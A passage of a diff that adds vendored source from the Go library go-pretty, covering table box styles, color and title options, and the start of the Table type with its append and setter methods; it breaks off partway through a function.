+	//  ┃ 300 ┃ Tyrion     ┃ Lannister ┃   5000 ┃                             ┃
+	//  ┣━━━━━╋━━━━━━━━━━━━╋━━━━━━━━━━━╋━━━━━━━━╋━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┫
+	//  ┃     ┃            ┃ TOTAL     ┃  10000 ┃                             ┃
+	//  ┗━━━━━┻━━━━━━━━━━━━┻━━━━━━━━━━━┻━━━━━━━━┻━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛
+	StyleBoxBold = BoxStyle{
+		BottomLeft:       "┗",
+		BottomRight:      "┛",
+		BottomSeparator:  "┻",
+		EmptySeparator:   text.RepeatAndTrim(" ", text.RuneCount("╋")),
+		Left:             "┃",
+		LeftSeparator:    "┣",
+		MiddleHorizontal: "━",
+		MiddleSeparator:  "╋",
+		MiddleVertical:   "┃",
+		PaddingLeft:      " ",
+		PaddingRight:     " ",
+		PageSeparator:    "\n",
+		Right:            "┃",
+		RightSeparator:   "┫",
+		TopLeft:          "┏",
+		TopRight:         "┓",
+		TopSeparator:     "┳",
+		UnfinishedRow:    " ≈",
+	}
+
+	// StyleBoxDouble defines a Boxed-Table like below:
+	//  ╔═════╦════════════╦═══════════╦════════╦═════════════════════════════╗
+	//  ║   # ║ FIRST NAME ║ LAST NAME ║ SALARY ║                             ║
+	//  ╠═════╬════════════╬═══════════╬════════╬═════════════════════════════╣
+	//  ║   1 ║ Arya       ║ Stark     ║   3000 ║                             ║
+	//  ║  20 ║ Jon        ║ Snow      ║   2000 ║ You know nothing, Jon Snow! ║
+	//  ║ 300 ║ Tyrion     ║ Lannister ║   5000 ║                             ║
+	//  ╠═════╬════════════╬═══════════╬════════╬═════════════════════════════╣
+	//  ║     ║            ║ TOTAL     ║  10000 ║                             ║
+	//  ╚═════╩════════════╩═══════════╩════════╩═════════════════════════════╝
+	StyleBoxDouble = BoxStyle{
+		BottomLeft:       "╚",
+		BottomRight:      "╝",
+		BottomSeparator:  "╩",
+		EmptySeparator:   text.RepeatAndTrim(" ", text.RuneCount("╬")),
+		Left:             "║",
+		LeftSeparator:    "╠",
+		MiddleHorizontal: "═",
+		MiddleSeparator:  "╬",
+		MiddleVertical:   "║",
+		PaddingLeft:      " ",
+		PaddingRight:     " ",
+		PageSeparator:    "\n",
+		Right:            "║",
+		RightSeparator:   "╣",
+		TopLeft:          "╔",
+		TopRight:         "╗",
+		TopSeparator:     "╦",
+		UnfinishedRow:    " ≈",
+	}
+
+	// StyleBoxLight defines a Boxed-Table like below:
+	//  ┌─────┬────────────┬───────────┬────────┬─────────────────────────────┐
+	//  │   # │ FIRST NAME │ LAST NAME │ SALARY │                             │
+	//  ├─────┼────────────┼───────────┼────────┼─────────────────────────────┤
+	//  │   1 │ Arya       │ Stark     │   3000 │                             │
+	//  │  20 │ Jon        │ Snow      │   2000 │ You know nothing, Jon Snow! │
+	//  │ 300 │ Tyrion     │ Lannister │   5000 │                             │
+	//  ├─────┼────────────┼───────────┼────────┼─────────────────────────────┤
+	//  │     │            │ TOTAL     │  10000 │                             │
+	//  └─────┴────────────┴───────────┴────────┴─────────────────────────────┘
+	StyleBoxLight = BoxStyle{
+		BottomLeft:       "└",
+		BottomRight:      "┘",
+		BottomSeparator:  "┴",
+		EmptySeparator:   text.RepeatAndTrim(" ", text.RuneCount("┼")),
+		Left:             "│",
+		LeftSeparator:    "├",
+		MiddleHorizontal: "─",
+		MiddleSeparator:  "┼",
+		MiddleVertical:   "│",
+		PaddingLeft:      " ",
+		PaddingRight:     " ",
+		PageSeparator:    "\n",
+		Right:            "│",
+		RightSeparator:   "┤",
+		TopLeft:          "┌",
+		TopRight:         "┐",
+		TopSeparator:     "┬",
+		UnfinishedRow:    " ≈",
+	}
+
+	// StyleBoxRounded defines a Boxed-Table like below:
+	//  ╭─────┬────────────┬───────────┬────────┬─────────────────────────────╮
+	//  │   # │ FIRST NAME │ LAST NAME │ SALARY │                             │
+	//  ├─────┼────────────┼───────────┼────────┼─────────────────────────────┤
+	//  │   1 │ Arya       │ Stark     │   3000 │                             │
+	//  │  20 │ Jon        │ Snow      │   2000 │ You know nothing, Jon Snow! │
+	//  │ 300 │ Tyrion     │ Lannister │   5000 │                             │
+	//  ├─────┼────────────┼───────────┼────────┼─────────────────────────────┤
+	//  │     │            │ TOTAL     │  10000 │                             │
+	//  ╰─────┴────────────┴───────────┴────────┴─────────────────────────────╯
+	StyleBoxRounded = BoxStyle{
+		BottomLeft:       "╰",
+		BottomRight:      "╯",
+		BottomSeparator:  "┴",
+		EmptySeparator:   text.RepeatAndTrim(" ", text.RuneCount("┼")),
+		Left:             "│",
+		LeftSeparator:    "├",
+		MiddleHorizontal: "─",
+		MiddleSeparator:  "┼",
+		MiddleVertical:   "│",
+		PaddingLeft:      " ",
+		PaddingRight:     " ",
+		PageSeparator:    "\n",
+		Right:            "│",
+		RightSeparator:   "┤",
+		TopLeft:          "╭",
+		TopRight:         "╮",
+		TopSeparator:     "┬",
+		UnfinishedRow:    " ≈",
+	}
+
+	// styleBoxTest defines a Boxed-Table like below:
+	//  (-----^------------^-----------^--------^-----------------------------)
+	//  [<  #>|<FIRST NAME>|<LAST NAME>|<SALARY>|<                           >]
+	//  {-----+------------+-----------+--------+-----------------------------}
+	//  [<  1>|<Arya      >|<Stark    >|<  3000>|<                           >]
+	//  [< 20>|<Jon       >|<Snow     >|<  2000>|<You know nothing, Jon Snow!>]
+	//  [<300>|<Tyrion    >|<Lannister>|<  5000>|<                           >]
+	//  {-----+------------+-----------+--------+-----------------------------}
+	//  [<   >|<          >|<TOTAL    >|< 10000>|<                           >]
+	//  \-----v------------v-----------v--------v-----------------------------/
+	styleBoxTest = BoxStyle{
+		BottomLeft:       "\\",
+		BottomRight:      "/",
+		BottomSeparator:  "v",
+		EmptySeparator:   text.RepeatAndTrim(" ", text.RuneCount("+")),
+		Left:             "[",
+		LeftSeparator:    "{",
+		MiddleHorizontal: "--",
+		MiddleSeparator:  "+",
+		MiddleVertical:   "|",
+		PaddingLeft:      "<",
+		PaddingRight:     ">",
+		PageSeparator:    "\n",
+		Right:            "]",
+		RightSeparator:   "}",
+		TopLeft:          "(",
+		TopRight:         ")",
+		TopSeparator:     "^",
+		UnfinishedRow:    " ~~~",
+	}
+)
+
+// ColorOptions defines the ANSI colors to use for parts of the Table.
+type ColorOptions struct {
+	IndexColumn  text.Colors // index-column colors (row #, etc.)
+	Footer       text.Colors // footer row(s) colors
+	Header       text.Colors // header row(s) colors
+	Row          text.Colors // regular row(s) colors
+	RowAlternate text.Colors // regular row(s) colors for the even-numbered rows
+}
+
+var (
+	// ColorOptionsDefault defines sensible ANSI color options - basically NONE.
+	ColorOptionsDefault = ColorOptions{}
+
+	// ColorOptionsBright renders dark text on bright background.
+	ColorOptionsBright = ColorOptionsBlackOnCyanWhite
+
+	// ColorOptionsDark renders bright text on dark background.
+	ColorOptionsDark = ColorOptionsCyanWhiteOnBlack
+
+	// ColorOptionsBlackOnBlueWhite renders Black text on Blue/White background.
+	ColorOptionsBlackOnBlueWhite = ColorOptions{
+		IndexColumn:  text.Colors{text.BgHiBlue, text.FgBlack},
+		Footer:       text.Colors{text.BgBlue, text.FgBlack},
+		Header:       text.Colors{text.BgHiBlue, text.FgBlack},
+		Row:          text.Colors{text.BgHiWhite, text.FgBlack},
+		RowAlternate: text.Colors{text.BgWhite, text.FgBlack},
+	}
+
+	// ColorOptionsBlackOnCyanWhite renders Black text on Cyan/White background.
+	ColorOptionsBlackOnCyanWhite = ColorOptions{
+		IndexColumn:  text.Colors{text.BgHiCyan, text.FgBlack},
+		Footer:       text.Colors{text.BgCyan, text.FgBlack},
+		Header:       text.Colors{text.BgHiCyan, text.FgBlack},
+		Row:          text.Colors{text.BgHiWhite, text.FgBlack},
+		RowAlternate: text.Colors{text.BgWhite, text.FgBlack},
+	}
+
+	// ColorOptionsBlackOnGreenWhite renders Black text on Green/White
+	// background.
+	ColorOptionsBlackOnGreenWhite = ColorOptions{
+		IndexColumn:  text.Colors{text.BgHiGreen, text.FgBlack},
+		Footer:       text.Colors{text.BgGreen, text.FgBlack},
+		Header:       text.Colors{text.BgHiGreen, text.FgBlack},
+		Row:          text.Colors{text.BgHiWhite, text.FgBlack},
+		RowAlternate: text.Colors{text.BgWhite, text.FgBlack},
+	}
+
+	// ColorOptionsBlackOnMagentaWhite renders Black text on Magenta/White
+	// background.
+	ColorOptionsBlackOnMagentaWhite = ColorOptions{
+		IndexColumn:  text.Colors{text.BgHiMagenta, text.FgBlack},
+		Footer:       text.Colors{text.BgMagenta, text.FgBlack},
+		Header:       text.Colors{text.BgHiMagenta, text.FgBlack},
+		Row:          text.Colors{text.BgHiWhite, text.FgBlack},
+		RowAlternate: text.Colors{text.BgWhite, text.FgBlack},
+	}
+
+	// ColorOptionsBlackOnRedWhite renders Black text on Red/White background.
+	ColorOptionsBlackOnRedWhite = ColorOptions{
+		IndexColumn:  text.Colors{text.BgHiRed, text.FgBlack},
+		Footer:       text.Colors{text.BgRed, text.FgBlack},
+		Header:       text.Colors{text.BgHiRed, text.FgBlack},
+		Row:          text.Colors{text.BgHiWhite, text.FgBlack},
+		RowAlternate: text.Colors{text.BgWhite, text.FgBlack},
+	}
+
+	// ColorOptionsBlackOnYellowWhite renders Black text on Yellow/White
+	// background.
+	ColorOptionsBlackOnYellowWhite = ColorOptions{
+		IndexColumn:  text.Colors{text.BgHiYellow, text.FgBlack},
+		Footer:       text.Colors{text.BgYellow, text.FgBlack},
+		Header:       text.Colors{text.BgHiYellow, text.FgBlack},
+		Row:          text.Colors{text.BgHiWhite, text.FgBlack},
+		RowAlternate: text.Colors{text.BgWhite, text.FgBlack},
+	}
+
+	// ColorOptionsBlueWhiteOnBlack renders Blue/White text on Black background.
+	ColorOptionsBlueWhiteOnBlack = ColorOptions{
+		IndexColumn:  text.Colors{text.FgHiBlue, text.BgHiBlack},
+		Footer:       text.Colors{text.FgBlue, text.BgHiBlack},
+		Header:       text.Colors{text.FgHiBlue, text.BgHiBlack},
+		Row:          text.Colors{text.FgHiWhite, text.BgBlack},
+		RowAlternate: text.Colors{text.FgWhite, text.BgBlack},
+	}
+
+	// ColorOptionsCyanWhiteOnBlack renders Cyan/White text on Black background.
+	ColorOptionsCyanWhiteOnBlack = ColorOptions{
+		IndexColumn:  text.Colors{text.FgHiCyan, text.BgHiBlack},
+		Footer:       text.Colors{text.FgCyan, text.BgHiBlack},
+		Header:       text.Colors{text.FgHiCyan, text.BgHiBlack},
+		Row:          text.Colors{text.FgHiWhite, text.BgBlack},
+		RowAlternate: text.Colors{text.FgWhite, text.BgBlack},
+	}
+
+	// ColorOptionsGreenWhiteOnBlack renders Green/White text on Black
+	// background.
+	ColorOptionsGreenWhiteOnBlack = ColorOptions{
+		IndexColumn:  text.Colors{text.FgHiGreen, text.BgHiBlack},
+		Footer:       text.Colors{text.FgGreen, text.BgHiBlack},
+		Header:       text.Colors{text.FgHiGreen, text.BgHiBlack},
+		Row:          text.Colors{text.FgHiWhite, text.BgBlack},
+		RowAlternate: text.Colors{text.FgWhite, text.BgBlack},
+	}
+
+	// ColorOptionsMagentaWhiteOnBlack renders Magenta/White text on Black
+	// background.
+	ColorOptionsMagentaWhiteOnBlack = ColorOptions{
+		IndexColumn:  text.Colors{text.FgHiMagenta, text.BgHiBlack},
+		Footer:       text.Colors{text.FgMagenta, text.BgHiBlack},
+		Header:       text.Colors{text.FgHiMagenta, text.BgHiBlack},
+		Row:          text.Colors{text.FgHiWhite, text.BgBlack},
+		RowAlternate: text.Colors{text.FgWhite, text.BgBlack},
+	}
+
+	// ColorOptionsRedWhiteOnBlack renders Red/White text on Black background.
+	ColorOptionsRedWhiteOnBlack = ColorOptions{
+		IndexColumn:  text.Colors{text.FgHiRed, text.BgHiBlack},
+		Footer:       text.Colors{text.FgRed, text.BgHiBlack},
+		Header:       text.Colors{text.FgHiRed, text.BgHiBlack},
+		Row:          text.Colors{text.FgHiWhite, text.BgBlack},
+		RowAlternate: text.Colors{text.FgWhite, text.BgBlack},
+	}
+
+	// ColorOptionsYellowWhiteOnBlack renders Yellow/White text on Black
+	// background.
+	ColorOptionsYellowWhiteOnBlack = ColorOptions{
+		IndexColumn:  text.Colors{text.FgHiYellow, text.BgHiBlack},
+		Footer:       text.Colors{text.FgYellow, text.BgHiBlack},
+		Header:       text.Colors{text.FgHiYellow, text.BgHiBlack},
+		Row:          text.Colors{text.FgHiWhite, text.BgBlack},
+		RowAlternate: text.Colors{text.FgWhite, text.BgBlack},
+	}
+)
+
+// FormatOptions defines the text-formatting to perform on parts of the Table.
+type FormatOptions struct {
+	Footer text.Format // footer row(s) text format
+	Header text.Format // header row(s) text format
+	Row    text.Format // (data) row(s) text format
+}
+
+var (
+	// FormatOptionsDefault defines sensible formatting options.
+	FormatOptionsDefault = FormatOptions{
+		Footer: text.FormatUpper,
+		Header: text.FormatUpper,
+		Row:    text.FormatDefault,
+	}
+)
+
+// HTMLOptions defines the global options to control HTML rendering.
+type HTMLOptions struct {
+	CSSClass    string // CSS class to set on the overall <table> tag
+	EmptyColumn string // string to replace "" columns with (entire content being "")
+	EscapeText  bool   // escape text into HTML-safe content?
+	Newline     string // string to replace "\n" characters with
+}
+
+var (
+	// DefaultHTMLOptions defines sensible HTML rendering defaults.
+	DefaultHTMLOptions = HTMLOptions{
+		CSSClass:    DefaultHTMLCSSClass,
+		EmptyColumn: "&nbsp;",
+		EscapeText:  true,
+		Newline:     "<br/>",
+	}
+)
+
+// Options defines the global options that determine how the Table is
+// rendered.
+type Options struct {
+	// DrawBorder enables or disables drawing the border around the Table.
+	// Example of a table where it is disabled:
+	//     # │ FIRST NAME │ LAST NAME │ SALARY │
+	//  ─────┼────────────┼───────────┼────────┼─────────────────────────────
+	//     1 │ Arya       │ Stark     │   3000 │
+	//    20 │ Jon        │ Snow      │   2000 │ You know nothing, Jon Snow!
+	//   300 │ Tyrion     │ Lannister │   5000 │
+	//  ─────┼────────────┼───────────┼────────┼─────────────────────────────
+	//       │            │ TOTAL     │  10000 │
+	DrawBorder bool
+
+	// SeparateColumns enables or disable drawing border between columns.
+	// Example of a table where it is disabled:
+	//  ┌─────────────────────────────────────────────────────────────────┐
+	//  │   #  FIRST NAME  LAST NAME  SALARY                              │
+	//  ├─────────────────────────────────────────────────────────────────┤
+	//  │   1  Arya        Stark        3000                              │
+	//  │  20  Jon         Snow         2000  You know nothing, Jon Snow! │
+	//  │ 300  Tyrion      Lannister    5000                              │
+	//  │                  TOTAL       10000                              │
+	//  └─────────────────────────────────────────────────────────────────┘
+	SeparateColumns bool
+
+	// SeparateFooter enables or disable drawing border between the footer and
+	// the rows. Example of a table where it is disabled:
+	//  ┌─────┬────────────┬───────────┬────────┬─────────────────────────────┐
+	//  │   # │ FIRST NAME │ LAST NAME │ SALARY │                             │
+	//  ├─────┼────────────┼───────────┼────────┼─────────────────────────────┤
+	//  │   1 │ Arya       │ Stark     │   3000 │                             │
+	//  │  20 │ Jon        │ Snow      │   2000 │ You know nothing, Jon Snow! │
+	//  │ 300 │ Tyrion     │ Lannister │   5000 │                             │
+	//  │     │            │ TOTAL     │  10000 │                             │
+	//  └─────┴────────────┴───────────┴────────┴─────────────────────────────┘
+	SeparateFooter bool
+
+	// SeparateHeader enables or disable drawing border between the header and
+	// the rows. Example of a table where it is disabled:
+	//  ┌─────┬────────────┬───────────┬────────┬─────────────────────────────┐
+	//  │   # │ FIRST NAME │ LAST NAME │ SALARY │                             │
+	//  │   1 │ Arya       │ Stark     │   3000 │                             │
+	//  │  20 │ Jon        │ Snow      │   2000 │ You know nothing, Jon Snow! │
+	//  │ 300 │ Tyrion     │ Lannister │   5000 │                             │
+	//  ├─────┼────────────┼───────────┼────────┼─────────────────────────────┤
+	//  │     │            │ TOTAL     │  10000 │                             │
+	//  └─────┴────────────┴───────────┴────────┴─────────────────────────────┘
+	SeparateHeader bool
+
+	// SeparateRows enables or disables drawing separators between each row.
+	// Example of a table where it is enabled:
+	//  ┌─────┬────────────┬───────────┬────────┬─────────────────────────────┐
+	//  │   # │ FIRST NAME │ LAST NAME │ SALARY │                             │
+	//  ├─────┼────────────┼───────────┼────────┼─────────────────────────────┤
+	//  │   1 │ Arya       │ Stark     │   3000 │                             │
+	//  ├─────┼────────────┼───────────┼────────┼─────────────────────────────┤
+	//  │  20 │ Jon        │ Snow      │   2000 │ You know nothing, Jon Snow! │
+	//  ├─────┼────────────┼───────────┼────────┼─────────────────────────────┤
+	//  │ 300 │ Tyrion     │ Lannister │   5000 │                             │
+	//  ├─────┼────────────┼───────────┼────────┼─────────────────────────────┤
+	//  │     │            │ TOTAL     │  10000 │                             │
+	//  └─────┴────────────┴───────────┴────────┴─────────────────────────────┘
+	SeparateRows bool
+}
+
+var (
+	// OptionsDefault defines sensible global options.
+	OptionsDefault = Options{
+		DrawBorder:      true,
+		SeparateColumns: true,
+		SeparateFooter:  true,
+		SeparateHeader:  true,
+		SeparateRows:    false,
+	}
+
+	// OptionsNoBorders sets up a table without any borders.
+	OptionsNoBorders = Options{
+		DrawBorder:      false,
+		SeparateColumns: true,
+		SeparateFooter:  true,
+		SeparateHeader:  true,
+		SeparateRows:    false,
+	}
+
+	// OptionsNoBordersAndSeparators sets up a table without any borders or
+	// separators.
+	OptionsNoBordersAndSeparators = Options{
+		DrawBorder:      false,
+		SeparateColumns: false,
+		SeparateFooter:  false,
+		SeparateHeader:  false,
+		SeparateRows:    false,
+	}
+)
+
+// TitleOptions defines the way the title text is to be rendered.
+type TitleOptions struct {
+	Align  text.Align
+	Colors text.Colors
+	Format text.Format
+}
+
+var (
+	// TitleOptionsDefault defines sensible title options - basically NONE.
+	TitleOptionsDefault = TitleOptions{}
+
+	// TitleOptionsBright renders Bright Bold text on Dark background.
+	TitleOptionsBright = TitleOptionsBlackOnCyan
+
+	// TitleOptionsDark renders Dark Bold text on Bright background.
+	TitleOptionsDark = TitleOptionsCyanOnBlack
+
+	// TitleOptionsBlackOnBlue renders Black text on Blue background.
+	TitleOptionsBlackOnBlue = TitleOptions{
+		Colors: append(ColorOptionsBlackOnBlueWhite.Header, text.Bold),
+	}
+
+	// TitleOptionsBlackOnCyan renders Black Bold text on Cyan background.
+	TitleOptionsBlackOnCyan = TitleOptions{
+		Colors: append(ColorOptionsBlackOnCyanWhite.Header, text.Bold),
+	}
+
+	// TitleOptionsBlackOnGreen renders Black Bold text onGreen background.
+	TitleOptionsBlackOnGreen = TitleOptions{
+		Colors: append(ColorOptionsBlackOnGreenWhite.Header, text.Bold),
+	}
+
+	// TitleOptionsBlackOnMagenta renders Black Bold text on Magenta background.
+	TitleOptionsBlackOnMagenta = TitleOptions{
+		Colors: append(ColorOptionsBlackOnMagentaWhite.Header, text.Bold),
+	}
+
+	// TitleOptionsBlackOnRed renders Black Bold text on Red background.
+	TitleOptionsBlackOnRed = TitleOptions{
+		Colors: append(ColorOptionsBlackOnRedWhite.Header, text.Bold),
+	}
+
+	// TitleOptionsBlackOnYellow renders Black Bold text on Yellow background.
+	TitleOptionsBlackOnYellow = TitleOptions{
+		Colors: append(ColorOptionsBlackOnYellowWhite.Header, text.Bold),
+	}
+
+	// TitleOptionsBlueOnBlack renders Blue Bold text on Black background.
+	TitleOptionsBlueOnBlack = TitleOptions{
+		Colors: append(ColorOptionsBlueWhiteOnBlack.Header, text.Bold),
+	}
+
+	// TitleOptionsCyanOnBlack renders Cyan Bold text on Black background.
+	TitleOptionsCyanOnBlack = TitleOptions{
+		Colors: append(ColorOptionsCyanWhiteOnBlack.Header, text.Bold),
+	}
+
+	// TitleOptionsGreenOnBlack renders Green Bold text on Black background.
+	TitleOptionsGreenOnBlack = TitleOptions{
+		Colors: append(ColorOptionsGreenWhiteOnBlack.Header, text.Bold),
+	}
+
+	// TitleOptionsMagentaOnBlack renders Magenta Bold text on Black background.
+	TitleOptionsMagentaOnBlack = TitleOptions{
+		Colors: append(ColorOptionsMagentaWhiteOnBlack.Header, text.Bold),
+	}
+
+	// TitleOptionsRedOnBlack renders Red Bold text on Black background.
+	TitleOptionsRedOnBlack = TitleOptions{
+		Colors: append(ColorOptionsRedWhiteOnBlack.Header, text.Bold),
+	}
+
+	// TitleOptionsYellowOnBlack renders Yellow Bold text on Black background.
+	TitleOptionsYellowOnBlack = TitleOptions{
+		Colors: append(ColorOptionsYellowWhiteOnBlack.Header, text.Bold),
+	}
+)

vendor/github.com/jedib0t/go-pretty/v6/table/table.go

@@ -0,0 +1,923 @@
+package table
+
+import (
+	"fmt"
+	"io"
+	"strings"
+
+	"github.com/jedib0t/go-pretty/v6/text"
+)
+
+// Row defines a single row in the Table.
+type Row []interface{}
+
+// RowPainter is a custom function that takes a Row as input and returns the
+// text.Colors{} to use on the entire row
+type RowPainter func(row Row) text.Colors
+
+// rowStr defines a single row in the Table comprised of just string objects.
+type rowStr []string
+
+// areEqual returns true if the contents of the 2 given columns are the same
+func (row rowStr) areEqual(colIdx1 int, colIdx2 int) bool {
+	return colIdx1 >= 0 && colIdx2 < len(row) && row[colIdx1] == row[colIdx2]
+}
+
+// Table helps print a 2-dimensional array in a human readable pretty-table.
+type Table struct {
+	// allowedRowLength is the max allowed length for a row (or line of output)
+	allowedRowLength int
+	// enable automatic indexing of the rows and columns like a spreadsheet?
+	autoIndex bool
+	// autoIndexVIndexMaxLength denotes the length in chars for the last rownum
+	autoIndexVIndexMaxLength int
+	// caption stores the text to be rendered just below the table; and doesn't
+	// get used when rendered as a CSV
+	caption string
+	// columnIsNonNumeric stores if a column contains non-numbers in all rows
+	columnIsNonNumeric []bool
+	// columnConfigs stores the custom-configuration for 1 or more columns
+	columnConfigs []ColumnConfig
+	// columnConfigMap stores the custom-configuration by column
+	// number and is generated before rendering
+	columnConfigMap map[int]ColumnConfig
+	// htmlCSSClass stores the HTML CSS Class to use on the <table> node
+	htmlCSSClass string
+	// indexColumn stores the number of the column considered as the "index"
+	indexColumn int
+	// maxColumnLengths stores the length of the longest line in each column
+	maxColumnLengths []int
+	// maxRowLength stores the length of the longest row
+	maxRowLength int
+	// numColumns stores the (max.) number of columns seen
+	numColumns int
+	// numLinesRendered keeps track of the number of lines rendered and helps in
+	// paginating long tables
+	numLinesRendered int
+	// outputMirror stores an io.Writer where the "Render" functions would write
+	outputMirror io.Writer
+	// pageSize stores the maximum lines to render before rendering the header
+	// again (to denote a page break) - useful when you are dealing with really
+	// long tables
+	pageSize int
+	// rows stores the rows that make up the body (in string form)
+	rows []rowStr
+	// rowsColors stores the text.Colors over-rides for each row as defined by
+	// rowPainter
+	rowsColors []text.Colors
+	// rowsConfigs stores RowConfig for each row
+	rowsConfigMap map[int]RowConfig
+	// rowsRaw stores the rows that make up the body
+	rowsRaw []Row
+	// rowsFooter stores the rows that make up the footer (in string form)
+	rowsFooter []rowStr
+	// rowsFooterConfigs stores RowConfig for each footer row
+	rowsFooterConfigMap map[int]RowConfig
+	// rowsFooterRaw stores the rows that make up the footer
+	rowsFooterRaw []Row
+	// rowsHeader stores the rows that make up the header (in string form)
+	rowsHeader []rowStr
+	// rowsHeaderConfigs stores RowConfig for each header row
+	rowsHeaderConfigMap map[int]RowConfig
+	// rowsHeaderRaw stores the rows that make up the header
+	rowsHeaderRaw []Row
+	// rowPainter is a custom function that given a Row, returns the colors to
+	// use on the entire row
+	rowPainter RowPainter
+	// rowSeparator is a dummy row that contains the separator columns (dashes
+	// that make up the separator between header/body/footer
+	rowSeparator rowStr
+	// separators is used to keep track of all rowIndices after which a
+	// separator has to be rendered
+	separators map[int]bool
+	// sortBy stores a map of Column
+	sortBy []SortBy
+	// style contains all the strings used to draw the table, and more
+	style *Style
+	// suppressEmptyColumns hides columns which have no content on all regular
+	// rows
+	suppressEmptyColumns bool
+	// title contains the text to appear above the table
+	title string
+}
+
+// AppendFooter appends the row to the List of footers to render.
+//
+// Only the first item in the "config" will be tagged against this row.
+func (t *Table) AppendFooter(row Row, config ...RowConfig) {
+	t.rowsFooterRaw = append(t.rowsFooterRaw, row)
+	if len(config) > 0 {
+		if t.rowsFooterConfigMap == nil {
+			t.rowsFooterConfigMap = make(map[int]RowConfig)
+		}
+		t.rowsFooterConfigMap[len(t.rowsFooterRaw)-1] = config[0]
+	}
+}
+
+// AppendHeader appends the row to the List of headers to render.
+//
+// Only the first item in the "config" will be tagged against this row.
+func (t *Table) AppendHeader(row Row, config ...RowConfig) {
+	t.rowsHeaderRaw = append(t.rowsHeaderRaw, row)
+	if len(config) > 0 {
+		if t.rowsHeaderConfigMap == nil {
+			t.rowsHeaderConfigMap = make(map[int]RowConfig)
+		}
+		t.rowsHeaderConfigMap[len(t.rowsHeaderRaw)-1] = config[0]
+	}
+}
+
+// AppendRow appends the row to the List of rows to render.
+//
+// Only the first item in the "config" will be tagged against this row.
+func (t *Table) AppendRow(row Row, config ...RowConfig) {
+	t.rowsRaw = append(t.rowsRaw, row)
+	if len(config) > 0 {
+		if t.rowsConfigMap == nil {
+			t.rowsConfigMap = make(map[int]RowConfig)
+		}
+		t.rowsConfigMap[len(t.rowsRaw)-1] = config[0]
+	}
+}
+
+// AppendRows appends the rows to the List of rows to render.
+//
+// Only the first item in the "config" will be tagged against all the rows.
+func (t *Table) AppendRows(rows []Row, config ...RowConfig) {
+	for _, row := range rows {
+		t.AppendRow(row, config...)
+	}
+}
+
+// AppendSeparator helps render a separator row after the current last row. You
+// could call this function over and over, but it will be a no-op unless you
+// call AppendRow or AppendRows in between. Likewise, if the last thing you
+// append is a separator, it will not be rendered in addition to the usual table
+// separator.
+//
+//******************************************************************************
+// Please note the following caveats:
+// 1. SetPageSize(): this may end up creating consecutive separator rows near
+//    the end of a page or at the beginning of a page
+// 2. SortBy(): since SortBy could inherently alter the ordering of rows, the
+//    separators may not appear after the row it was originally intended to
+//    follow
+//******************************************************************************
+func (t *Table) AppendSeparator() {
+	if t.separators == nil {
+		t.separators = make(map[int]bool)
+	}
+	if len(t.rowsRaw) > 0 {
+		t.separators[len(t.rowsRaw)-1] = true
+	}
+}
+
+// Length returns the number of rows to be rendered.
+func (t *Table) Length() int {
+	return len(t.rowsRaw)
+}
+
+// ResetFooters resets and clears all the Footer rows appended earlier.
+func (t *Table) ResetFooters() {
+	t.rowsFooterRaw = nil
+}
+
+// ResetHeaders resets and clears all the Header rows appended earlier.
+func (t *Table) ResetHeaders() {
+	t.rowsHeaderRaw = nil
+}
+
+// ResetRows resets and clears all the rows appended earlier.
+func (t *Table) ResetRows() {
+	t.rowsRaw = nil
+	t.separators = nil
+}
+
+// SetAllowedRowLength sets the maximum allowed length or a row (or line of
+// output) when rendered as a table. Rows that are longer than this limit will
+// be "snipped" to the length. Length has to be a positive value to take effect.
+func (t *Table) SetAllowedRowLength(length int) {
+	t.allowedRowLength = length
+}
+
+// SetAutoIndex adds a generated header with columns such as "A", "B", "C", etc.
+// and a leading column with the row number similar to what you'd see on any
+// spreadsheet application. NOTE: Appending a Header will void this
+// functionality.
+func (t *Table) SetAutoIndex(autoIndex bool) {
+	t.autoIndex = autoIndex
+}
+
+// SetCaption sets the text to be rendered just below the table. This will not
+// show up when the Table is rendered as a CSV.
+func (t *Table) SetCaption(format string, a ...interface{}) {
+	t.caption = fmt.Sprintf(format, a...)
+}
+
+// SetColumnConfigs sets the configs for each Column.
+func (t *Table) SetColumnConfigs(configs []ColumnConfig) {
+	t.columnConfigs = configs
+}
+
+// SetHTMLCSSClass sets the the HTML CSS Class to use on the <table> node
+// when rendering the Table in HTML format.
+//
+// Deprecated: in favor of Style().HTML.CSSClass
+func (t *Table) SetHTMLCSSClass(cssClass string) {
+	t.htmlCSSClass = cssClass
+}
+
+// SetIndexColumn sets the given Column # as the column that has the row
+// "Number". Valid values range from 1 to N. Note that this is not 0-indexed.
+func (t *Table) SetIndexColumn(colNum int) {
+	t.indexColumn = colNum
+}
+
+// SetOutputMirror sets an io.Writer for all the Render functions to "Write" to
+// in addition to returning a string.
+func (t *Table) SetOutputMirror(mirror io.Writer) {
+	t.outputMirror = mirror
+}
+
+// SetPageSize sets the maximum number of lines to render before rendering the
+// header rows again. This can be useful when dealing with tables containing a
+// long list of rows that can span pages. Please note that the pagination logic
+// will not consider Header/Footer lines for paging.
+func (t *Table) SetPageSize(numLines int) {
+	t.pageSize = numLines
+}
+
+// SetRowPainter sets the RowPainter function which determines the colors to use
+// on a row. Before rendering, this function is invoked on all rows and the
+// color of each row is determined. This color takes precedence over other ways
+// to set color (ColumnConfig.Color*, SetColor*()).
+func (t *Table) SetRowPainter(painter RowPainter) {
+	t.rowPainter = painter
+}
+
+// SetStyle overrides the DefaultStyle with the provided one.
+func (t *Table) SetStyle(style Style) {
+	t.style = &style
+}
+
+// SetTitle sets the title text to be rendered above the table.
+func (t *Table) SetTitle(format string, a ...interface{}) {
+	t.title = fmt.Sprintf(format, a...)
+}
+
+// SortBy sets the rules for sorting the Rows in the order specified. i.e., the
+// first SortBy instruction takes precedence over the second and so on. Any
+// duplicate instructions on the same column will be discarded while sorting.
+func (t *Table) SortBy(sortBy []SortBy) {
+	t.sortBy = sortBy
+}
+
+// Style returns the current style.
+func (t *Table) Style() *Style {
+	if t.style == nil {
+		tempStyle := StyleDefault
+		t.style = &tempStyle
+	}
+	return t.style
+}
+
+// SuppressEmptyColumns hides columns when the column is empty in ALL the
+// regular rows.
+func (t *Table) SuppressEmptyColumns() {
+	t.suppressEmptyColumns = true
+}
+
+func (t *Table) analyzeAndStringify(row Row, hint renderHint) rowStr {
+	// update t.numColumns if this row is the longest seen till now
+	if len(row) > t.numColumns {
+		// init the slice for the first time; and pad it the rest of the time
+		if t.numColumns == 0 {
+			t.columnIsNonNumeric = make([]bool, len(row))
+		} else {
